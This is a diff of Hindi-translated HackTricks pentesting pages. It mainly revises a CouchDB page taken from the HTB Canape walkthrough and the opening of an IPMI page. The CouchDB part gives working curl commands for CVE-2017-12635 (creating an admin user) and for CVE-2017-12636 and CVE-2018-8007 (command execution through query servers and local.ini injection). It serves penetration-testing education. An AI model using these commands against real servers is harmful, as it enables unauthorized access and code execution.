curl -X GET http://IP:5984/{dbname}/_all_docs
|
curl -X GET http://IP:5984/{dbname}/_all_docs
|
||||||
curl http://localhost:5984/simpsons/_all_docs
|
curl http://localhost:5984/simpsons/_all_docs
|
||||||
|
@ -117,13 +118,13 @@ curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
|
||||||
#Example response:
|
#Example response:
|
||||||
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
|
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
|
||||||
```
|
```
|
||||||
## CouchDB विशेषाधिकार उन्नति [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
|
## CouchDB Privilege Escalation [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
|
||||||
|
|
||||||
एरलैंग और जावास्क्रिप्ट JSON पार्सर्स के बीच अंतर के कारण आप निम्नलिखित अनुरोध के साथ क्रेडेंशियल `hacktricks:hacktricks` के साथ **एक एडमिन उपयोगकर्ता बना सकते थे**:
|
Erlang और JavaScript JSON पार्सर्स के बीच के अंतर के कारण आप निम्नलिखित अनुरोध के साथ **एक व्यवस्थापक उपयोगकर्ता** बना सकते हैं जिसमें क्रेडेंशियल्स `hacktricks:hacktricks` हैं:
|
||||||
```bash
|
```bash
|
||||||
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
|
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
|
||||||
```
|
```
|
||||||
[**इस vuln के बारे में अधिक जानकारी यहाँ**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
|
[**इस कमजोरियों के बारे में अधिक जानकारी यहाँ**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
|
||||||
|
|
||||||
## CouchDB RCE
|
## CouchDB RCE
|
||||||
|
|
||||||
|
@ -131,24 +132,24 @@ curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[]
|
||||||
|
|
||||||
उदाहरण [यहाँ से](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
उदाहरण [यहाँ से](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
||||||
|
|
||||||
काउचडीबी दस्तावेज़ीकरण में, विशेष रूप से क्लस्टर सेट-अप से संबंधित खंड में ([लिंक](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), काउचडीबी द्वारा क्लस्टर मोड में पोर्ट का उपयोग किया जाता है। यह उल्लेख किया गया है कि, स्थानिक मोड की तरह, पोर्ट `5984` का उपयोग किया जाता है। इसके अतिरिक्त, पोर्ट `5986` नोड-स्थानिक API के लिए है, और महत्वपूर्ण रूप से, Erlang के लिए TCP पोर्ट `4369` की आवश्यकता है जो Erlang क्लस्टर के भीतर नोड संचार को सुविधा प्रदान करने वाला Erlang Port Mapper Daemon (EPMD) है। यह सेटअप एक नेटवर्क बनाता है जहां प्रत्येक नोड हर अन्य नोड से जुड़ा होता है।
|
CouchDB दस्तावेज़ में, विशेष रूप से क्लस्टर सेट-अप से संबंधित अनुभाग में ([लिंक](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), क्लस्टर मोड में CouchDB द्वारा पोर्ट के उपयोग पर चर्चा की गई है। इसमें उल्लेख किया गया है कि, स्टैंडअलोन मोड की तरह, पोर्ट `5984` का उपयोग किया जाता है। इसके अतिरिक्त, पोर्ट `5986` नोड-स्थानीय APIs के लिए है, और महत्वपूर्ण रूप से, Erlang को Erlang पोर्ट मैपर डेमन (EPMD) के लिए TCP पोर्ट `4369` की आवश्यकता होती है, जो Erlang क्लस्टर के भीतर नोड संचार को सुविधाजनक बनाता है। यह सेटअप एक नेटवर्क बनाता है जहाँ प्रत्येक नोड हर अन्य नोड के साथ इंटरलिंक होता है।
|
||||||
|
|
||||||
पोर्ट `4369` के संबंध में एक महत्वपूर्ण सुरक्षा सलाह दी गई है। यदि यह पोर्ट इंटरनेट या किसी भी अविश्वसनीय नेटवर्क पर पहुंचने योग्य है, तो सिस्टम की सुरक्षा एक अद्वितीय पहचानकर्ता जिसे "कुकी" के रूप में जाना जाता है पर भारित होती है। यह कुकी एक सुरक्षा रक्षा के रूप में काम करती है। उदाहरण के लिए, एक दिया गया प्रक्रिया सूची में, "मॉन्स्टर" नामक कुकी देखी जा सकती है, जिससे सिस्टम की सुरक्षा ढांचे में इसकी परिचालन भूमिका का पता चलता है।
|
पोर्ट `4369` के बारे में एक महत्वपूर्ण सुरक्षा सलाह को उजागर किया गया है। यदि इस पोर्ट को इंटरनेट या किसी अविश्वसनीय नेटवर्क पर सुलभ बनाया जाता है, तो सिस्टम की सुरक्षा एक अद्वितीय पहचानकर्ता पर भारी निर्भर करती है जिसे "कुकी" कहा जाता है। यह कुकी एक सुरक्षा उपाय के रूप में कार्य करती है। उदाहरण के लिए, एक दिए गए प्रक्रिया सूची में, "monster" नामक कुकी देखी जा सकती है, जो सिस्टम की सुरक्षा ढांचे में इसकी संचालन भूमिका को इंगित करती है।
|
||||||
```
|
```
|
||||||
www-data@canape:/$ ps aux | grep couchdb
|
www-data@canape:/$ ps aux | grep couchdb
|
||||||
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
|
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
|
||||||
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
|
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
|
||||||
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
|
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
|
||||||
```
|
```
|
||||||
उन लोगों के लिए जो इस "कुकी" को दूरस्थ कोड निष्पादन (RCE) के लिए कैसे उपयोग किया जा सकता है जिसे एरलैंग सिस्टम के संदर्भ में, एक विशेष खंड उपलब्ध है और आगे पढ़ने के लिए। यह विवरण उन विधियों को विस्तार से वर्णित करता है जिनका उपयोग अनधिकृत तरीकों से एरलैंग कुकी का उपयोग करके सिस्टम पर नियंत्रण प्राप्त करने के लिए किया जा सकता है। आप **[यहाँ एरलैंग कुकी का दुरुपयोग करने के लिए विस्तृत मार्गदर्शिका का अन्वेषण कर सकते हैं](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**।
|
उन लोगों के लिए जो यह समझने में रुचि रखते हैं कि इस "कुकी" का उपयोग कैसे किया जा सकता है Remote Code Execution (RCE) के लिए Erlang सिस्टम के संदर्भ में, आगे पढ़ने के लिए एक समर्पित अनुभाग उपलब्ध है। यह अनधिकृत तरीकों से Erlang कुकीज़ का लाभ उठाने की विधियों का विवरण देता है ताकि सिस्टम पर नियंत्रण प्राप्त किया जा सके। आप **[यहां RCE के लिए Erlang कुकीज़ का दुरुपयोग करने पर विस्तृत मार्गदर्शिका का अन्वेषण कर सकते हैं](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**।
|
||||||
|
|
||||||
### **लोकल.ini का संशोधन करके CVE-2018-8007 का शोधन**
|
### **local.ini के संशोधन के माध्यम से CVE-2018-8007 का शोषण**
|
||||||
|
|
||||||
उदाहरण [यहाँ से](https://0xdf.gitlab.io/2018/09/15/htb-canape.html)।
|
उदाहरण [यहां से](https://0xdf.gitlab.io/2018/09/15/htb-canape.html)।
|
||||||
|
|
||||||
हाल ही में खुलासा हुआ एक सुरक्षा दोष, CVE-2018-8007, जो एपाची काउचडीबी को प्रभावित करता है, उसे जांचा गया, जिससे पता चला कि उत्पीड़न के लिए `local.ini` फ़ाइल में लेखन अनुमतियाँ आवश्यक हैं। यद्यपि प्रारंभिक लक्ष्य सिस्टम पर सीधे लागू नहीं होता है क्योंकि सुरक्षा प्रतिबंधों के कारण, अन्वेषण के उद्देश्यों के लिए `local.ini` फ़ाइल को लेखन अधिकार प्रदान करने के लिए संशोधन किए गए। विस्तृत चरण और कोड उदाहरण नीचे प्रदान किए गए हैं, प्रक्रिया को प्रदर्शित करते हुए।
|
हाल ही में प्रकट हुई एक भेद्यता, CVE-2018-8007, जो Apache CouchDB को प्रभावित करती है, का अन्वेषण किया गया, जिसमें यह पता चला कि शोषण के लिए `local.ini` फ़ाइल पर लिखने की अनुमति की आवश्यकता होती है। हालांकि सुरक्षा प्रतिबंधों के कारण प्रारंभिक लक्षित प्रणाली पर सीधे लागू नहीं किया जा सकता, लेकिन अन्वेषण उद्देश्यों के लिए `local.ini` फ़ाइल पर लिखने की अनुमति देने के लिए संशोधन किए गए। नीचे विस्तृत चरण और कोड उदाहरण प्रदान किए गए हैं, जो प्रक्रिया को प्रदर्शित करते हैं।
|
||||||
|
|
||||||
सबसे पहले, पर्यावरण को तैयार किया जाता है जिसमें सुनिश्चित किया जाता है कि `local.ini` फ़ाइल लिखने योग्य है, जिज्ञासा करके सत्यापित किया जाता है:
|
पहले, वातावरण को इस बात की पुष्टि करके तैयार किया जाता है कि `local.ini` फ़ाइल लिखने योग्य है, जिसे अनुमतियों की सूची बनाकर सत्यापित किया जाता है:
|
||||||
```bash
|
```bash
|
||||||
root@canape:/home/homer/etc# ls -l
|
root@canape:/home/homer/etc# ls -l
|
||||||
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
|
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
|
||||||
|
@ -156,11 +157,11 @@ root@canape:/home/homer/etc# ls -l
|
||||||
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
|
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
|
||||||
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
|
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
|
||||||
```
|
```
|
||||||
कमजोरी का शोधन करने के लिए, एक curl कमांड को निषेधित किया जाता है, `local.ini` में `cors/origins` विन्यास को लक्षित करते हुए। इसमें एक नया मूल सम्मिलित किया जाता है साथ ही `[os_daemons]` खंड के तहत अतिरिक्त कमांड, अर्बिट्रे कोड को निष्पादित करने का उद्देश्य है:
|
इस कमजोरियों का लाभ उठाने के लिए, एक curl कमांड निष्पादित की जाती है, जो `local.ini` में `cors/origins` कॉन्फ़िगरेशन को लक्षित करती है। यह `[os_daemons]` अनुभाग के तहत अतिरिक्त कमांड के साथ एक नया मूल जोड़ता है, जिसका उद्देश्य मनमाने कोड को निष्पादित करना है:
|
||||||
```bash
|
```bash
|
||||||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
|
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
|
||||||
```
|
```
|
||||||
आगे की पुष्टि `local.ini` में डाली गई विन्यास को दिखाती है, जिसे एक बैकअप के साथ तुलना करके परिवर्तनों पर ध्यान दिया गया है:
|
अगली सत्यापन `local.ini` में इंजेक्ट की गई कॉन्फ़िगरेशन को दिखाती है, जिसमें परिवर्तनों को उजागर करने के लिए एक बैकअप के साथ तुलना की गई है:
|
||||||
```bash
|
```bash
|
||||||
root@canape:/home/homer/etc# diff local.ini local.ini.bk
|
root@canape:/home/homer/etc# diff local.ini local.ini.bk
|
||||||
119,124d118
|
119,124d118
|
||||||
|
@ -169,57 +170,57 @@ root@canape:/home/homer/etc# diff local.ini local.ini.bk
|
||||||
< [os_daemons]
|
< [os_daemons]
|
||||||
< test_daemon = /usr/bin/touch /tmp/0xdf
|
< test_daemon = /usr/bin/touch /tmp/0xdf
|
||||||
```
|
```
|
||||||
आरंभ में, अपेक्षित फ़ाइल (`/tmp/0xdf`) मौजूद नहीं है, जिससे स्पष्ट होता है कि इंजेक्ट किया गया कमांड अभी तक नहीं चलाया गया है। और जांच में पता चलता है कि CouchDB से संबंधित प्रक्रियाएँ चल रही हैं, जिसमें से एक ऐसी है जो इंजेक्ट किए गए कमांड को क्रियान्वित कर सकती है:
|
शुरुआत में, अपेक्षित फ़ाइल (`/tmp/0xdf`) मौजूद नहीं है, जो यह दर्शाता है कि इंजेक्ट किया गया कमांड अभी तक निष्पादित नहीं हुआ है। आगे की जांच से पता चलता है कि CouchDB से संबंधित प्रक्रियाएँ चल रही हैं, जिसमें एक ऐसी प्रक्रिया भी शामिल है जो संभावित रूप से इंजेक्ट किए गए कमांड को निष्पादित कर सकती है:
|
||||||
```bash
|
```bash
|
||||||
root@canape:/home/homer/bin# ps aux | grep couch
|
root@canape:/home/homer/bin# ps aux | grep couch
|
||||||
```
|
```
|
||||||
कोचडीबी प्रक्रिया को पहचानने के बाद समाप्त करके सिस्टम को स्वचालित रूप से पुनः आरंभ करने द्वारा, उभरे हुए कमांड का निष्पादन प्रेरित होता है, जिसे पहले गायब फ़ाइल की मौजूदगी द्वारा पुष्टि की जाती है:
|
CouchDB प्रक्रिया को समाप्त करके और सिस्टम को स्वचालित रूप से इसे पुनः प्रारंभ करने की अनुमति देकर, इंजेक्ट किए गए कमांड का निष्पादन ट्रिगर किया जाता है, जिसे पहले गायब फ़ाइल की उपस्थिति से पुष्टि की जाती है:
|
||||||
```bash
|
```bash
|
||||||
root@canape:/home/homer/etc# kill 711
|
root@canape:/home/homer/etc# kill 711
|
||||||
root@canape:/home/homer/etc# ls /tmp/0xdf
|
root@canape:/home/homer/etc# ls /tmp/0xdf
|
||||||
/tmp/0xdf
|
/tmp/0xdf
|
||||||
```
|
```
|
||||||
यह अन्वेषण विशेष परिस्थितियों के तहत CVE-2018-8007 शोषण की संभावना की पुष्टि करता है, विशेष रूप से `local.ini` फ़ाइल के लिखने योग्य एक्सेस की आवश्यकता को ध्यान में रखते हुए। प्रदत्त कोड उदाहरण और प्रक्रियात्मक चरण एक नियंत्रित वातावरण में शोषण की प्रतिलिपि के लिए एक स्पष्ट मार्गदर्शिका प्रदान करते हैं।
|
यह अन्वेषण विशेष परिस्थितियों के तहत CVE-2018-8007 शोषण की व्यवहार्यता की पुष्टि करता है, विशेष रूप से `local.ini` फ़ाइल के लिए लिखने योग्य पहुंच की आवश्यकता। प्रदान किए गए कोड उदाहरण और प्रक्रियात्मक चरण नियंत्रित वातावरण में शोषण को दोहराने के लिए एक स्पष्ट मार्गदर्शिका प्रदान करते हैं।
|
||||||
|
|
||||||
अधिक विवरण के लिए CVE-2018-8007 पर, mdsec द्वारा सूचना के लिए देखें: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
|
CVE-2018-8007 के बारे में अधिक विवरण के लिए, mdsec द्वारा सलाहकार पर जाएं: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/)।
|
||||||
|
|
||||||
### **लोकल.ini पर लेखन अनुमतियों के साथ CVE-2017-12636 का अन्वेषण**
|
### **local.ini पर लिखने की अनुमति के साथ CVE-2017-12636 का अन्वेषण**
|
||||||
|
|
||||||
उदाहरण [यहाँ से](https://0xdf.gitlab.io/2018/09/15/htb-canape.html)।
|
उदाहरण [यहां से](https://0xdf.gitlab.io/2018/09/15/htb-canape.html)।
|
||||||
|
|
||||||
एक भेद्यता जिसे CVE-2017-12636 के रूप में जाना जाता है, उसे अन्वेषित किया गया था, जो काउचडीबी प्रक्रिया के माध्यम से कोड निष्पादन को संभव बनाता है, हालांकि विशेष विन्यासों से इसका शोषण रोक सकता है। ऑनलाइन उपलब्ध कई प्रमाण का (POC) संदर्भ होने के बावजूद, काउचडीबी संस्करण 2 पर भेद्यता का शोषण करने के लिए संशोधन आवश्यक है, जो सामान्य रूप से लक्षित संस्करण 1.x से भिन्न है। प्रारंभिक कदम काउचडीबी संस्करण की पुष्टि करने और अपेक्षित क्वेरी सर्वर पथ की अनुपस्थिति की पुष्टि करने में सम्मिलित हैं:
|
CVE-2017-12636 के रूप में ज्ञात एक भेद्यता का अन्वेषण किया गया, जो CouchDB प्रक्रिया के माध्यम से कोड निष्पादन को सक्षम बनाता है, हालांकि विशिष्ट कॉन्फ़िगरेशन इसके शोषण को रोक सकते हैं। ऑनलाइन उपलब्ध कई प्रमाण-कोण (POC) संदर्भों के बावजूद, CouchDB संस्करण 2 पर भेद्यता का शोषण करने के लिए समायोजन आवश्यक हैं, जो सामान्यतः लक्षित संस्करण 1.x से भिन्न है। प्रारंभिक चरणों में CouchDB संस्करण की पुष्टि करना और अपेक्षित क्वेरी सर्वर पथ की अनुपस्थिति की पुष्टि करना शामिल है:
|
||||||
```bash
|
```bash
|
||||||
curl http://localhost:5984
|
curl http://localhost:5984
|
||||||
curl http://0xdf:df@localhost:5984/_config/query_servers/
|
curl http://0xdf:df@localhost:5984/_config/query_servers/
|
||||||
```
|
```
|
||||||
CouchDB संस्करण 2.0 को समायोजित करने के लिए एक नया पथ का उपयोग किया जाता है:
|
CouchDB संस्करण 2.0 के लिए, एक नया पथ उपयोग किया जाता है:
|
||||||
```bash
|
```bash
|
||||||
curl 'http://0xdf:df@localhost:5984/_membership'
|
curl 'http://0xdf:df@localhost:5984/_membership'
|
||||||
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
|
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
|
||||||
```
|
```
|
||||||
कोशिशें नए क्वेरी सर्वर जोड़ने और आमंत्रित करने के लिए अनुमति संबंधित त्रुटियों से भेंट कराई गईं, जैसा कि निम्नलिखित आउटपुट द्वारा सूचित किया गया है:
|
नए क्वेरी सर्वर को जोड़ने और उसे सक्रिय करने के प्रयासों को अनुमति से संबंधित त्रुटियों का सामना करना पड़ा, जैसा कि निम्नलिखित आउटपुट द्वारा संकेतित है:
|
||||||
```bash
|
```bash
|
||||||
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
||||||
```
|
```
|
||||||
और जांच में पता चला कि `local.ini` फ़ाइल में अनुमति समस्याएँ थीं, जिसे लिखने की अनुमति नहीं थी। रूट या होमर एक्सेस के साथ फ़ाइल अनुमतियों को संशोधित करके, आगे बढ़ना संभव हुआ:
|
अधिक जांच से पता चला कि `local.ini` फ़ाइल के साथ अनुमति समस्याएँ थीं, जिसे लिखा नहीं जा सकता था। रूट या होमर एक्सेस के साथ फ़ाइल अनुमतियों को संशोधित करके, आगे बढ़ना संभव हो गया:
|
||||||
```bash
|
```bash
|
||||||
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
|
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
|
||||||
chmod 666 /home/homer/etc/local.ini
|
chmod 666 /home/homer/etc/local.ini
|
||||||
```
|
```
|
||||||
जांच करने पर पाया गया कि क्वेरी सर्वर जोड़ने की प्रयासों में उत्तर में कोई त्रुटि संदेश नहीं था, जिससे सफलतापूर्वक `local.ini` फ़ाइल का संशोधन हुआ था:
|
अगले प्रयासों में क्वेरी सर्वर को जोड़ने में सफलता मिली, जैसा कि प्रतिक्रिया में त्रुटि संदेशों की अनुपस्थिति से स्पष्ट है। `local.ini` फ़ाइल में सफल संशोधन की पुष्टि फ़ाइल तुलना के माध्यम से की गई:
|
||||||
```bash
|
```bash
|
||||||
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
||||||
```
|
```
|
||||||
प्रक्रिया जारी रही डेटाबेस और एक दस्तावेज़ का निर्माण करने के साथ, जिसके बाद नए जोड़े गए क्वेरी सर्वर को मैप करने वाले कस्टम व्यू के माध्यम से कोड को निष्पादित करने का प्रयास किया गया:
|
प्रक्रिया एक डेटाबेस और एक दस्तावेज़ बनाने के साथ जारी रही, इसके बाद नए जोड़े गए क्वेरी सर्वर के लिए कस्टम व्यू मैपिंग के माध्यम से कोड निष्पादित करने का प्रयास किया गया:
|
||||||
```bash
|
```bash
|
||||||
curl -X PUT 'http://0xdf:df@localhost:5984/df'
|
curl -X PUT 'http://0xdf:df@localhost:5984/df'
|
||||||
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
|
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
|
||||||
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
|
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
|
||||||
```
|
```
|
||||||
**[एक सारांश](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)** एक वैकल्पिक payload के साथ CVE-2017-12636 का शोध करने के और अधिक अंदर देता है विशेष परिस्थितियों के तहत इसका शोध करने के उपयोगी संसाधन शामिल हैं:
|
A **[सारांश](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)** जिसमें एक वैकल्पिक पेलोड है, विशेष परिस्थितियों के तहत CVE-2017-12636 का शोषण करने के बारे में और जानकारी प्रदान करता है। इस कमजोरियों का शोषण करने के लिए **उपयोगी संसाधन** में शामिल हैं:
|
||||||
|
|
||||||
- [POC exploit code](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
|
- [POC शोषण कोड](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
|
||||||
- [Exploit Database entry](https://www.exploit-db.com/exploits/44913/)
|
- [शोषण डेटाबेस प्रविष्टि](https://www.exploit-db.com/exploits/44913/)
|
||||||
|
|
||||||
## Shodan
|
## Shodan
|
||||||
|
|
||||||
|
@ -230,16 +231,17 @@ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design
|
||||||
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||||||
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
|
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **जुड़ें** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos को PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -2,111 +2,112 @@
|
||||||
|
|
||||||
## 623/UDP/TCP - IPMI
|
## 623/UDP/TCP - IPMI
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## मूल जानकारी
|
## Basic Information
|
||||||
|
|
||||||
### **IPMI का अवलोकन**
|
### **IPMI का अवलोकन**
|
||||||
|
|
||||||
**[इंटेलिजेंट प्लेटफॉर्म मैनेजमेंट इंटरफेस (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** कंप्यूटर सिस्टमों का दूरस्थ प्रबंधन और मॉनिटरिंग के लिए एक मानकीकृत दृष्टिकोण प्रदान करता है, ऑपरेटिंग सिस्टम या बिजली की स्थिति के बिना। यह प्रौद्योगिकी सिस्टम प्रशासकों को सिस्टम का दूरस्थ प्रबंधन करने की अनुमति देती है, जब वे बंद या प्रतिक्रियाशील भी होते हैं, और विशेष रूप से उपयोगी है:
|
